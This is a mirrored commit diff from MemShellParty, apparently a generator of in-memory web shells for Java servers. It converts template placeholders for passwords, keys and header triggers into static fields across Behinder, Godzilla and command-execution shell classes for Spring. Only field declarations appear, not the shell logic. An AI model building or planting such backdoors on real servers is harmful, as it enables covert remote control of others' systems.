mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: spring shell generate error
This commit is contained in:
+3
-3
@@ -17,9 +17,9 @@ import java.util.Map;
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class BehinderControllerHandler extends ClassLoader implements Controller {
|
||||
public String pass = "{{pass}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
|
||||
+3
-3
@@ -17,9 +17,9 @@ import java.util.Map;
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||
public String pass = "{{pass}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
|
||||
+1
-1
@@ -13,7 +13,7 @@ import java.io.InputStream;
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class CommandControllerHandler implements Controller {
|
||||
public String paramName = "{{paramName}}";
|
||||
public static String paramName;
|
||||
|
||||
|
||||
public CommandControllerHandler() {
|
||||
|
||||
+1
-1
@@ -13,7 +13,7 @@ import java.io.InputStream;
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class CommandInterceptor implements AsyncHandlerInterceptor {
|
||||
public String paramName = "{{paramName}}";
|
||||
public static String paramName;
|
||||
|
||||
|
||||
public CommandInterceptor() {
|
||||
|
||||
+5
-5
@@ -15,11 +15,11 @@ import java.io.ByteArrayOutputStream;
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class GodzillaControllerHandler extends ClassLoader implements Controller {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public GodzillaControllerHandler() {
|
||||
}
|
||||
|
||||
+5
-5
@@ -15,11 +15,11 @@ import java.io.ByteArrayOutputStream;
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public GodzillaInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
|
||||
+1
-1
@@ -14,7 +14,7 @@ import java.util.Optional;
|
||||
* @since 2024/12/25
|
||||
*/
|
||||
public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
|
||||
public String paramName = "{{paramName}}";
|
||||
public static String paramName;
|
||||
|
||||
@Override
|
||||
public Mono<ServerResponse> handle(ServerRequest request) {
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@ import java.io.InputStreamReader;
|
||||
* @since 2024/12/25
|
||||
*/
|
||||
public class CommandHandlerMethod {
|
||||
public String paramName = "{{paramName}}";
|
||||
public static String paramName;
|
||||
|
||||
public CommandHandlerMethod() {
|
||||
}
|
||||
|
||||
+1
-1
@@ -16,7 +16,7 @@ import java.nio.charset.StandardCharsets;
|
||||
* @since 2024/12/25
|
||||
*/
|
||||
public class CommandWebFilter extends ClassLoader implements WebFilter {
|
||||
public String paramName = "{{paramName}}";
|
||||
public static String paramName;
|
||||
|
||||
@Override
|
||||
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
|
||||
|
||||
+5
-5
@@ -14,11 +14,11 @@ import java.io.ByteArrayOutputStream;
|
||||
* @since 2024/12/25
|
||||
*/
|
||||
public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public Class<?> payload;
|
||||
|
||||
public GodzillaHandlerFunction() {
|
||||
|
||||
+5
-5
@@ -13,11 +13,11 @@ import java.io.ByteArrayOutputStream;
|
||||
* @since 2024/12/25
|
||||
*/
|
||||
public class GodzillaHandlerMethod extends ClassLoader {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public Class<?> payload;
|
||||
|
||||
public GodzillaHandlerMethod() {
|
||||
|
||||
+5
-5
@@ -18,11 +18,11 @@ import java.nio.charset.StandardCharsets;
|
||||
* @since 2024/12/25
|
||||
*/
|
||||
public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public Class<?> payload;
|
||||
|
||||
public GodzillaWebFilter() {
|
||||
|
||||
@@ -6,7 +6,10 @@ plugins {
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
sourceCompatibility = '1.8'
|
||||
|
||||
java {
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'org.springframework.boot:spring-boot-starter-webflux'
|
||||
|
||||
@@ -7,7 +7,10 @@ plugins {
|
||||
|
||||
group = 'com.reajason.javaweb.vul'
|
||||
version = ''
|
||||
sourceCompatibility = '1.8'
|
||||
|
||||
java {
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
|
||||
Reference in New Issue
Block a user